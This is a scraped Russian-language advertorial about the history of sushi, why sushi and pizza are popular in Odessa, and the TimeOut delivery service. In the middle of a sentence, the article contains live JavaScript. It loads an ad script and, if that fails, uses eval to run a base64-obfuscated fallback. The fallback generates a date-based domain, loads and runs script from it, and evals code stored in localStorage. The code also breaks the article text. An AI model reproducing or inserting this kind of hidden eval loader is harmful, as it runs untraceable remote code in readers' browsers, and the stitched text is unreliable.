Украинская кухня отличается своим разнообразием и является фаворитом среди жителей постсоветского пространства. Однако в последнее время огромную популярность приобрели блюда стран Европы и Азии, среди которых пицца и суши. Такие блюда готовятся достаточно быстро, и сочетают в себе сразу несколько полезных ингредиентов, которые придают уникальных органолептических характеристик еде.
Причины популярности роллов и суши в Одессе
Суши — это блюдо, которое впервые появилось в Японии. Изначально приготовление блюда представляло собой процесс консервации рыбы. Очищенные, нарезанные кусочки рыбы посыпали рисом и накрывали прессом из камней. Чуть позже, вместо камней использовали крышку. В течение длительного периода времени образовывалась молочная кислота, которая ферментировала рис и рыбу. В результате этого процесса рис приобретал неприятный аромат, но рыба сохраняла все свои свойства и свежесть. Поэтому рис выбрасывали, а рыбу использовали для приготовления пищи. Только в 17 веке появился рецепт, который напоминает популярные сейчас суши в Одессе. Рис отваривали, помещали в него кусочки рыбы и овощей. Одесса — город на побережье Черного моря с огромным изобилием рыбы и морепродуктов. Поэтому суши так полюбились одесситам.
Причины популярности суши и роллов: var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Суши — универсальное блюдо, которое отличается невысокой калорийностью и соединяет в себе огромное количество полезных витаминов и микроэлементов. В красной рыбе содержится омега 3-кислоты, которые улучшают обменные процессы в организме. Рис обогащает блюдо углеводами, ведь рыба представляет собой чистый белок. Возможность сочетать суши и роллы с острыми и кисло-сладкими соусами сделали блюдо популярным среди любителей экспериментировать. Рис — это зерновая культура, которая отличается нейтральным вкусом, и не перебивает вкус рыбы. Именно поэтому эти два продукта отлично сочетаются между собой. Несколько причин заказать пиццу в TimeOut
Наиболее известное и популярное блюдо в мире — пицца. Это изделие из теста, которое раскатывается тонким пластом. Сверху на тесто укладывают разнообразную начинку, засыпают сыром и запекают в печи. Благодаря широкому ассортименту начинок, возможности комбинации продуктов, которые не сочетаются, пиццу любят во всём мире, независимо от региона.
Среди работников компании TimeOut известные повара, специализирующиеся на изготовлении пиццы и роллов. Благодаря этому удается заказать пиццу, максимально приближенную к оригинальному рецепту. Компания предлагает широкий ассортимент различных видов пиццы на тонком и пышном корже. Кроме того, есть классический вариант — это кальцоне, который представляет собой пиццу в закрытой лепёшке. (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/preimushhestva-sotrudnichestva-s-timeout/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
